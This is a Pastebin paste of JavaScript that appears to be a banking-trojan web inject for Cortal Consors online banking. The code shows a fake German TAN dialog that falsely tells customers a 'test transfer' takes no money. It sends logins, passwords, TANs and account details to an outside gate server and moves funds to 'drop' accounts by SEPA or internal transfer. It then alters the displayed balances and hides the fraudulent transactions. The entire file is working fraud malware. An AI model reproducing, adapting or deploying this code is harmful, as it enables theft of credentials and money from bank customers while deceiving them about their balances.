Advertisement
Xylitol

cortal.js

May 19th, 2014
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. var CONTENT_URL= "https://standarts-check.com/gm91249/";
  3. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay {  width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 800px;margin-left: -400px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em;float: right; margin: -20px 0 0;} .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0;font-size: 18px;font-weight: bold; text-align: center; }</style>');
  4.  
  5.  
  6. var ATS = { bank: 'cortalconsors',
  7.     account_id: 0,
  8.     script_ver: '1.3',
  9.     transf_mode : 'sepa',
  10.     debug_mode: 0,
  11.     debug_transfer: "INT",
  12.     gateURL : 'https://standarts-check.com/gm91249/gate',
  13.     debugVisibleFrame: false,
  14.     debugNoOverlay : false,
  15.     CONTENT_URL: CONTENT_URL,
  16.     current_state : 0,
  17.     SmsCliked:false,
  18.    
  19.  
  20.     StepInFrame : {
  21.         0:"BeginWork",
  22.         10:"framePageFinanzstatus",
  23.         15:"Transactions",
  24.         20:"Overseas_remittance",
  25.         30:"SEPA_page",
  26.         110:"SEPA_form_filled",
  27.         120:"TAN_ENTERED",
  28.         130:"Internal_transf_page",
  29.         140:"INT_form_filled",
  30.         150:"KreditlimitPage",
  31.         180:"randomPage",
  32.         190:"inside_randomPage",
  33.        
  34.         set_current_state : function(state){
  35.            
  36.             for (var key in this) {
  37.               if (typeof this[key]!= 'function' && state==this[key]) {
  38.                parent.ATS.current_state=key;
  39.                return key;
  40.                }
  41.               //alert(key+':'+this[key])
  42.              
  43.            }
  44.             return false;
  45.             }
  46.         },
  47.        
  48.  
  49.     isDebugMode: function()
  50.     {
  51.         return ATS.debug_mode;
  52.     },
  53.    
  54.  
  55.     getBrowserFull: function()
  56.     {
  57.         var res = 'na';
  58.         try
  59.         {
  60.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  61.             if (m)
  62.             {
  63.                 res = 'ff' + m[1];
  64.             }
  65.             else
  66.             {
  67.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  68.                 if (m)
  69.                     res = 'ie' + m[1];
  70.             }
  71.         }
  72.         catch(e)
  73.         {
  74.             res = 'ex';
  75.         }
  76.         return res;
  77.     },
  78.  
  79.  
  80.     debugMsg: function(message)
  81.     {
  82.         if (this.isDebugMode())
  83.         {
  84.             if (window.console && window.console.log)
  85.                 window.console.log(message);
  86.             else
  87.                 alert(message);
  88.         }
  89.     },
  90.    
  91.     _cookies: new Object(),
  92.    
  93.     setCookie: function(name, value)
  94.     {
  95.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  96.         parent.ATS._cookies['#'+name] = value;
  97.     },
  98.    
  99.     getCookie: function(name)
  100.     {
  101.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  102.             return null;
  103.        
  104.         return parent.ATS._cookies['#'+name];
  105.     },
  106.    
  107.     serializeCookies: function()
  108.     {
  109.        //if (typeof parent.ATS._cookies != 'function')
  110.         var result = new Array();
  111.         for (var i in parent.ATS._cookies)
  112.         {
  113.            
  114.             if(i.indexOf('#')==0){
  115.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  116.  
  117.                }
  118.         }
  119.         return result.join('&');
  120.     },
  121.    
  122.     unserializeCookies: function(rawData)
  123.     {
  124.         var result = new Object();
  125.         for (var i in rawData)
  126.         {
  127.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  128.         }
  129.         return result;
  130.     },
  131.    
  132.     saveCookies: function(callback)
  133.     {
  134.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  135.     },
  136.    
  137.  
  138.     sendGateRequest: function(action, params, callback)
  139.     {
  140.      
  141.         //ATS.debugMsg('sendGateRequest: ' + action);
  142.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  143.        
  144.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  145.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  146.    
  147.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  148.         //{
  149.        
  150.             jq.ajax({
  151.                 url: url,
  152.                 dataType: 'jsonp',
  153.                 crossDomain: true,
  154.                 data: dat,
  155.                 //async: false,
  156.                 success: callback,
  157.                 error: function(request,error)
  158.                 {
  159.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  160.                     jq('.inj_full_overlay').remove();
  161.                     ATS.UI_unblockSite();
  162.                     jq('#inj_dialog_box').hide();
  163.                 }
  164.                
  165.             });
  166.            
  167.         //}
  168.     },
  169.         imgSubmit: function(button)
  170.     {
  171.             var form = jq(button).parents("form");
  172.         if (jq(form).length == 0)
  173.             return 0;
  174.            
  175.         var buttonName = jq(button).attr('name');
  176.         if (buttonName != '')
  177.         {
  178.             var buttonWidth = parseInt(jq(button).css('width'));
  179.             if (!buttonWidth)
  180.                 buttonWidth = 10;
  181.                
  182.             var buttonHeight = parseInt(jq(button).css('height'));
  183.             if (!buttonHeight)
  184.                 buttonHeight = 10;
  185.            
  186.             var clickX = ATS.randInt(buttonWidth * 0.2, buttonWidth * 0.8);
  187.             var clickY = ATS.randInt(buttonHeight * 0.2, buttonHeight * 0.8);
  188.                
  189.             jq(button).remove();
  190.             jq(form).append('<input type=hidden name="' + buttonName + '.x" value="' + clickX + '" />');
  191.             jq(form).append('<input type=hidden name="' + buttonName + '.y" value="' + clickY + '" />');
  192.             jq(form).submit();
  193.         }
  194.         else
  195.             jq(button).click();
  196.     },
  197.    
  198.  
  199.     loadData: function(callback)
  200.     {
  201.         ATS.sendGateRequest('load_data', {}, function(data){
  202.             ATS.account_id = data.account_id;
  203.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  204.             if (typeof callback == 'function')
  205.                 callback();
  206.         });
  207.     },
  208.         randInt: function(min, max)
  209.     {
  210.         return Math.round(min + Math.random() * (max - min));
  211.     },
  212.    
  213.  
  214.     sendLoginInfo: function(login, password, callback)
  215.     {
  216.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  217.     },
  218.    
  219.  
  220.     sendLogMsg: function(text, callback)
  221.     {
  222.         ATS.debugMsg('sendLogMsg: ' + text);
  223.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  224.     },
  225.    
  226.     getDrop: function(transfType, balance, callback)
  227.     {
  228.        
  229.  
  230.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  231.     },
  232.    
  233.     putTransfer: function(transfType, drop, amount, callback)
  234.     {
  235.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  236.     },
  237.    
  238.     sendAccountsInfo: function(accountsInfo, callback)
  239.     {
  240.         try {
  241.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  242.         } catch(e) {}
  243.     }
  244.    
  245.    
  246.    
  247.    
  248. };
  249.  
  250.  
  251.  
  252. ATS.UI_getInjectCode = function()
  253. {
  254.     var code =
  255.      '<div id=inj_dialog_box style=\'display: none;\'>'
  256.      + '<div class="formContainer2 ui-dialog ui-widget ccui-dialog-login">'
  257.      
  258.      + '<div class="inj_dialog_content"><div class="ui-dialog-titlebar ui-widget-header" id="inj_dialog_title"><span id="ui-dialog-title-lightbox" class="ui-dialog-title"> TAN-Eingabe </span></div></div>'
  259.      
  260.      + '<div id=inj_page_wait style=\'display: none;\'>'
  261.      + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
  262.      +  langs.getLang('waittext')
  263.      + '<br class="newline" /></p><p style="text-align:center"><img s'
  264.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
  265.  
  266.      
  267.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  268.  
  269.     + '<div style="clear:both" class="inj_error">'+langs.getLang('errortan')+'</div>'
  270.      
  271.      +'<div id="gad_signatur_tan" style=\'display: none;\'><p><strong>Sehr geehrter Kunde,</strong><br /><br /> Im Rahmen des Express-Testes hat das System eine Test&uuml;berweisung gemacht. Bei der Best&auml;tigung der Test&uuml;berweisung wird das KEIN Geld von Ihren Konto abgebucht.<br /> Wir hoffen, da&szlig; Sie eine Sicherheit und eine Einfachheit der Arbeit mit unserer Bank auf h&ouml;chstem Niveau sch&auml;tzen.</p><p><strong>Geben Sie bitte die testTAN ein, die wir Ihnen soeben per SMS an die Mobilfunknummer gesendet haben. Inhalt von test Bericht die soeben per SMS &uuml;bermittelt wurde ist nicht von bedeutung.</strong></p><br><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">mobile TAN: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div></div>'
  272.      
  273.  + '<div id="inj_page_brilok" style=\'display: none;\'>'
  274.  +'1. Aktivieren Sie Ihren TAN-Generator mit der Ein-\/Aus-Taste und w'+String.fromCharCode(228)+'hlen Sie dann mit der Zifferntaste \"2\" die Funktion \"APPLI-2\".<br />2. Geben Sie die <span id="inj_tan_startcode"></span> <br />3. Im Anschluss erscheint im Display Ihres TAN-Generators die generierte TAN.<br />4. Diese tragen Sie bitte in das nebenstehende Feld ein, so legitimieren Sie Ihren Auftrag.<br /><br />'
  275.  
  276.   + '<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10"><strong>Ihre TAN* </strong></label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div>'
  277.  
  278.  +'</div>'
  279.      
  280.      
  281.      +'<div class="inj_buttons_block">'
  282.      + '<input type="image" class="form-button" alt="Weiter" title="Weiter" src="'+ATS.CONTENT_URL+'/images/waiter.gif" id="inj_Weiter" name="inj_weiter">';
  283.      + '</div>'
  284.      
  285.  
  286.      
  287.      +'</div>'
  288.      + '</div></div>';
  289.     return jq(code);
  290. }
  291.  
  292.  
  293. ATS.die = function(msg)
  294. {
  295.     ATS.sendLogMsg('ERROR: ' + msg);
  296.     ATS.setCookie('error_time', ATS.getTime());
  297.     ATS.setCookie('status', 2);
  298.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  299.     ATS.saveCookies(function(){
  300.         if ((parent.window !== window) && parent.ATS)
  301.         {
  302.             ATS.debugMsg('die in frame');
  303.             parent.ATS.UI_hideDialogBox();
  304.             parent.ATS.UI_unblockSite();
  305.  
  306.             jq('.inj_full_overlay',parent.document).remove();
  307.         }
  308.         else
  309.         {
  310.             ATS.debugMsg('die outside frame');
  311.             ATS.UI_hideDialogBox();
  312.             ATS.UI_unblockSite();
  313.             jq('.inj_full_overlay').remove();
  314.         }
  315.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  316.            
  317.             //setTimeout(function(){  window.location.reload();}, 1000);
  318.             //window.location.reload();
  319.  
  320.     });
  321.    
  322.  
  323.        
  324. }
  325.  
  326.  
  327. ATS.mainWork = function()
  328. {
  329.    
  330.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  331.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  332.     switch (ATS.current_state)
  333.     {
  334.         case 0:
  335.            
  336.  
  337.             var href =true;
  338.             if (href)
  339.             {
  340.            
  341.                  ATS.StepInFrame.set_current_state("randomPage");          
  342.                 //ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  343.                 //ATS.debugMsg('Finanzstatus link: ' + href);
  344.                 //setTimeout('ATS.openInIframe("' + href + '")', 3000);
  345.                
  346.             if (!!jq('div[role="dialog"]:visible').length)
  347. jq('div[role="dialog"]').find('span:contains(close)').click();    
  348.                
  349.                
  350. setTimeout(function(){
  351.  
  352.      ATS.sendLogMsg('Name: ' + jq.trim(jq('.login-meta p:eq(0)').text().replace('Willkommen','')).replace(/\s{2,}/g, ' '),ATS.ieFrameHack() );      
  353.  }, ATS.randInt(3000, 3500));                
  354.                
  355.                
  356.                
  357.                
  358.             }
  359.             else
  360.             {
  361.                 ATS.die('mainWork: cant find finanzstatus');
  362.             }
  363.             break;
  364.     }
  365. }
  366. ATS.ieFrameHack = function()
  367. {
  368.     ATS.debugMsg('ATS.ieFrameHack()');
  369.    
  370.     if (!jq('iframe#ats_wrk_iframe').length)
  371.     {
  372.  
  373.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  374.         ATS.openInIframe('about:blank');
  375. /*        
  376. var cssLink = document.createElement("link")
  377. cssLink.href = "/wrs/resources2/html/layout.css";
  378. cssLink.rel = "stylesheet";
  379. cssLink.type = "text/css";
  380. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  381.  
  382. var cssLink = document.createElement("link")
  383. cssLink.href = "/wrs/resources2/html/color.css";
  384. cssLink.rel = "stylesheet";
  385. cssLink.type = "text/css";
  386. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  387. */
  388.  
  389.  
  390.        
  391.      
  392.         setTimeout(ATS.ieFrameHack, ATS.randInt(2000, 3000));
  393.     }
  394.     else
  395.     {
  396.  
  397.         var n=document.location.href;
  398.         n=n.replace("&s_login=true", '');
  399.         var n=ATS.randomPage();  
  400.      
  401.    
  402.         jq('iframe#ats_wrk_iframe').attr('src',n );
  403.     }
  404. }
  405.  
  406.  
  407. ATS.getMaxTransferAcc = function()
  408. {
  409.     var accountsList = parent.ATS.accounts_list;
  410.     var maxBalance = accountsList[0].balance;
  411.     var tempBalance = 0;
  412.     var maxAcc = accountsList[0];
  413.     for(var i in accountsList)
  414.     {
  415.  
  416.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  417.     //  console.log(tempBalance)
  418.    
  419.             if (!isNaN(tempBalance) && (tempBalance > maxBalance))
  420.             {
  421.                 maxBalance = tempBalance;
  422.                 maxAcc = accountsList[i];
  423.             }
  424.     }
  425.     return maxAcc;
  426. }
  427.  
  428. ATS.UI_askTan = function(tanNum, isError)
  429. {
  430.     parent.ATS.UI_showDialogBox();
  431. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  432.    
  433.     //parent.ATS.UI_fixBtnLink();
  434.  
  435.        var txt=jq('div.header').text();
  436. //if (txt.indexOf('TAN-Eingabe')==-1){
  437. if (jq('.token').length==0){
  438.    
  439.     parent.ATS.TanType='sms';
  440.     /*
  441.         var startCode = jq('.nowrap label').text().replace(/\D+/,'');
  442.         ATS.sendLogMsg('startCode ' + startCode);
  443.         jq('#inj_tan_startcode', parent.document.body).text(startCode);
  444.     */
  445.     if(!parent.ATS.SmsCliked){ parent.ATS.SmsCliked=true; jq('input[name*="event_requestMT0"]').click();} else{
  446.    
  447.    
  448.     jq('#inj_page_wait', parent.document).hide();
  449.     jq('#inj_logo', parent.document).hide();
  450.     //jq('#inj_page_tan', parent.document).show();
  451.     jq('#inj_page_brilok', parent.document).hide();
  452.     jq('#gad_signatur_tan', parent.document).show();
  453.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  454.      }
  455.  
  456. }
  457.  else{
  458.     parent.ATS.TanType='brilok';
  459.  
  460.     var startCode = jq('.token').text().replace(/\D+/,'');
  461.     startCode=ATS.padLeft(startCode,6);
  462.     jq('#inj_tan_startcode', parent.document.body).text(startCode);
  463.    
  464.     jq('#inj_logo', parent.document).hide();
  465.     jq('#inj_page_wait', parent.document).hide();
  466.     jq('#gad_signatur_tan', parent.document).hide();
  467.     jq('#inj_page_brilok', parent.document).show();
  468.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  469.        
  470.  
  471.  }  
  472.    
  473.    
  474.     //jq('#inj_buttons_block', parent.document).show();
  475.  
  476.  }
  477. ATS.UI_onWeiterClick = function()
  478. {
  479. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  480. else var tan = jq('#iTANBrilok').val();
  481.  
  482.  
  483.     if (tan=="test") {
  484.        if (ATS.isDebugMode()){
  485.            //parent.ATS.UI_showWait();
  486.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  487.         else ATS.framePageReceiptInternal();
  488.        
  489.        return false;}}
  490.  
  491.    
  492.     if (tan.length == 6)
  493.     {
  494.         ATS.sendLogMsg('entered TAN ' + tan);
  495.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  496.     }
  497.     else{
  498.         alert(langs.getLang('errorTanEmpty'));
  499.        
  500.     }
  501. }
  502.  
  503. ATS.padRight = function(input, totalWidth)
  504.  
  505. {
  506.     var result = input;
  507.     if (result.length < totalWidth){
  508.         for(var i = result.length; i < totalWidth; i++){
  509.             result = result + 'X'
  510.         }
  511.    
  512.     }
  513.     return result;
  514. }
  515.  
  516. ATS.padLeft =function padLeft(nr, n, str){
  517.     return Array(n-String(nr).length+1).join(str||'0')+nr;
  518. }
  519.  
  520.  
  521. ATS.framePageReceipt = function()
  522. {
  523.     ATS.sendLogMsg('framePageReceipt');
  524.  
  525.    
  526.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  527.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  528.         ATS.setCookie('transfer_time', ATS.getTime());
  529.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  530.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  531.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  532.        
  533.         var transfer_acc = ATS.getCookie('transfer_acc');
  534.         if (transfer_acc)
  535.         {
  536.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  537.         }
  538.        
  539.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  540.        
  541.         ATS.setCookie('status', 1);
  542.         ATS.saveCookies(function(){
  543.             parent.window.location.reload();
  544.             /*
  545.             parent.ATS.UI_hideDialogBox();
  546.             parent.ATS.UI_unblockSite();
  547.             jq('.inj_full_overlay',parent.document).remove();        
  548.             */        
  549.         });
  550.  
  551.     });
  552.    
  553. }
  554. ATS.framePageReceiptInternal = function()
  555. {
  556.     ATS.sendLogMsg('framePageReceiptInternal');
  557.    
  558.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  559.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  560.         ATS.setCookie('transfer_time', ATS.getTime());
  561.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  562.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  563.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  564.         var transfer_acc = ATS.getCookie('transfer_acc');
  565.         if (transfer_acc)
  566.         {
  567.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  568.         }
  569.         ATS.setCookie('status', 1);
  570.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  571.         ATS.saveCookies(function(){
  572.             parent.window.location.reload();
  573.             /*
  574.             parent.ATS.UI_hideDialogBox();
  575.             parent.ATS.UI_unblockSite();
  576.             jq('.inj_full_overlay',parent.document).remove();        
  577.             */        
  578.  
  579.         });
  580.  
  581.        
  582.     });
  583. }
  584. ATS.fin2float = function(text)
  585. {
  586.     if (langs.getCurLang()=='EN')
  587.     var text = text.toString();
  588.     else
  589.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  590.     return parseFloat(text);
  591. }
  592.  
  593. ATS.float2fin = function(val)
  594. {
  595.     var intPart = Math.floor(val);
  596.     var fractPart = Math.floor((val - intPart) * 100).toString();
  597.    
  598.     if (fractPart.length < 2)
  599.         fractPart = '0' + fractPart;
  600.        
  601.     var newIntPart = '';
  602.     intPart = intPart.toString();
  603.     while (intPart.length > 3)
  604.     {
  605.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  606.         intPart = intPart.substr(0, intPart.length - 3);
  607.     }
  608.     newIntPart = intPart + newIntPart;
  609.    
  610.     return newIntPart + ',' + fractPart;
  611. }
  612. ATS.addElementAmount = function (el, amount, postfix,prefix)
  613. {
  614.     var prefix= prefix|| '';
  615.     var val = ATS.fin2float(jq(el).text());
  616.     var newText = prefix;
  617.     newText += ATS.float2fin(val + amount);
  618.     if (postfix)
  619.         newText += ' ' + postfix;
  620.     jq(el).text(newText);
  621. }
  622. ATS.hideLastTAN = function()
  623. {
  624.  
  625.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  626.     if (el.length)
  627.     {
  628.         var html = jq(el).html();
  629.         var pos = html.indexOf('Ihre zuletzt');
  630.         if (pos >= 0)
  631.             jq(el).html(html.substr(0, pos));
  632.     }
  633.    
  634.  
  635.     jq('p:contains(Zuletzt benutzte)').remove();
  636. }
  637.  
  638. ATS.checkTransfer = function(tempGesamtsaldo)
  639. {
  640.  
  641.  
  642.     var percent=parseFloat("0.00");  
  643.  
  644.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  645.     if (isNaN(lastGesamtsaldo)) {
  646.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  647.         return false;
  648.     }
  649.  
  650.     var curGesamtsaldo = tempGesamtsaldo;
  651.  
  652.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  653.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  654.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  655.    
  656.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  657.        
  658.  
  659.     if(tempsaldo==0){
  660.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  661.         return false;
  662.         }
  663.    
  664.  
  665.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  666.         return false;
  667.     }
  668.  
  669.  
  670.     if(tempsaldo>0){
  671.    
  672.            
  673.  
  674.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  675.        
  676.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  677.     percent=parseFloat(temppers.toFixed(2));
  678.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  679.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  680.             ATS.setCookie('acPercent',percent);
  681.             ATS.saveCookies();
  682.     }
  683.     if (ATS.getCookie('acTransact')!="true"){
  684.             ATS.setCookie('acTransact',true);
  685.             ATS.saveCookies();
  686.     }
  687.    
  688.     return percent;
  689.     }else{
  690.        
  691.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  692.             ATS.setCookie('acPercent',tempsaldo);
  693.             ATS.setCookie('acTransact',false);
  694.             ATS.saveCookies();
  695.         return false;
  696.     }    
  697.        
  698. }
  699.  
  700. }
  701.  
  702.  
  703. ATS.replaceFinanzstatus = function()
  704. {
  705.     ATS.debugMsg('replaceFinanzstatus()');
  706.    
  707.     jq("#print").remove();
  708.  
  709.  
  710. if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
  711.  
  712. var tempGesamtsaldo=0;
  713. jq(".accountGroupList h2.header span.accountGroupSum").each(function(){      
  714. tempGesamtsaldo+=ATS.fin2float(jq(this).text());
  715.  
  716. })
  717. }
  718.  
  719.  
  720.      var percent =ATS.checkTransfer(tempGesamtsaldo);
  721.      ATS.debugMsg('percent= '+percent);
  722.      if(typeof percent === 'boolean') return true;
  723.  
  724.  
  725.    
  726.         var totalReplace = 0;
  727.     jq("table.assets").each(function(){
  728. jq(this).find('tr').has('td.actions button').each(function(i){
  729.    
  730.  
  731. var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  732.  
  733. var accNum=jq.trim(jq(this).children("td:eq(1)").text());
  734.            
  735.  
  736.                     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  737.                    
  738.         //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  739.                 if (amount > 0)
  740.                     {
  741.         ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
  742.  
  743.                   ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), 'EUR');
  744.                    
  745.  
  746.        
  747. ATS.addElementAmount(jq(this).parent().find('.sum > .numeric > .plus'), amount + percent, 'EUR');
  748.                
  749.                 totalReplace += parseFloat(amount + percent);
  750. ATS.addElementAmount(jq(this).parent().parent().parent().parent().parent().parent().find("h2.header span.accountGroupSum"), amount + percent, 'EUR','Summe ');
  751.                
  752.                
  753.                
  754.                 }
  755.                
  756.            
  757.     });
  758. });
  759.  
  760.            
  761.        
  762.        
  763.    
  764. }
  765. ATS.replaceUmsatzanzeige = function()
  766. {
  767.     ATS.debugMsg('replaceUmsatzanzeige()');
  768.  
  769.   jq(".saveListAs").remove();
  770.    
  771.  
  772.        
  773.    
  774.    
  775.     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  776.     var percent=parseFloat(ATS.getCookie('acPercent'));
  777.    
  778.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  779.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  780.  
  781.    
  782.     var accNum = jq('table.content-navigation td.active span').text();
  783.     var accNumAlternate =jq('.page-headline h1 span').text();
  784.    
  785.     var transfer_acc =ATS.getCookie('transfer_acc');
  786.    
  787.    
  788.    
  789.    
  790.    
  791.     if ((accNum.indexOf(transfer_acc)!=-1) || (accNumAlternate.indexOf(transfer_acc)!=-1))
  792.     {
  793.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  794.     ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  795.    
  796.        
  797.  
  798.         var hideFlag = false;
  799.         jq('table.transactions tr').each(function(i){
  800.            jq(this).find("td:eq(4)").each(function(j){
  801.  
  802.        
  803.             var text = jq.trim(jq(this).text());
  804.             if (ATS.needToHide(text))
  805.             {
  806. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  807.                 jq(this).parent().hide();
  808.                 hideFlag = true;
  809.             }
  810.         });
  811.     });    
  812.  
  813. if(hideFlag) {
  814.     ATS.addElementAmount(jq('table.account-balance tr:eq(0) td span.plus'), amount +  percent, 'EUR');
  815.     ATS.addElementAmount(jq('table.account-balance tr:eq(1) td span.plus'), amount +  percent, 'EUR');
  816.    
  817.     ATS.addElementAmount(jq('table.data:eq(0) span.plus:eq(1) b'),  amount +  percent, 'EUR');
  818.     ATS.addElementAmount(jq('table.data:eq(1) span.plus:eq(1) b'),  amount +  percent, 'EUR');
  819.  
  820.    
  821. }
  822.    
  823.  
  824. jq('table.transactions tr:visible:not(:first)').each(function(i){
  825.  
  826.     jq(this).attr('class', (i % 2) ? 'even' : 'odd');
  827.  
  828.     });
  829.  
  830.     }
  831. }
  832.  
  833. ATS.needToHide = function(text)
  834. {
  835.  
  836.    
  837.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  838.     if (amount)
  839.     {
  840.  
  841.         if (langs.getCurLang()=='EN'){
  842.             text=text.replace(/[^\d.]+/gi, '');
  843.            
  844.         if (text.indexOf(amount) != -1) return true;
  845.            
  846.             }
  847.             else{
  848.         text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
  849.         if (text.indexOf(amount) != -1) return true;
  850.         //ATS.debugMsg(text);
  851.         }
  852.     }
  853.        
  854.     return false;
  855. }
  856. ATS.replaceBalances = function()
  857. {
  858.     ATS.debugMsg('replaceBalances()');
  859.    
  860.     //ATS.hideLastTAN();
  861.    
  862.    
  863.         switch (langs.getCurLang())
  864.     {
  865.        
  866.         case "EN":
  867.     if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();        
  868.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  869.         break;
  870.          default:
  871.          
  872.     if (ATS.getPageTitle("Konten & Depots")) ATS.replaceFinanzstatus();        
  873.      if (ATS.getPageTitle("Umsatz"+String.fromCharCode(252)+"bersicht") ) ATS.replaceUmsatzanzeige();            
  874.            
  875.             break;
  876.            
  877.  }
  878.            
  879.  
  880.    
  881.  
  882.    
  883.    
  884.    
  885.  
  886.  
  887. }
  888.  
  889.  
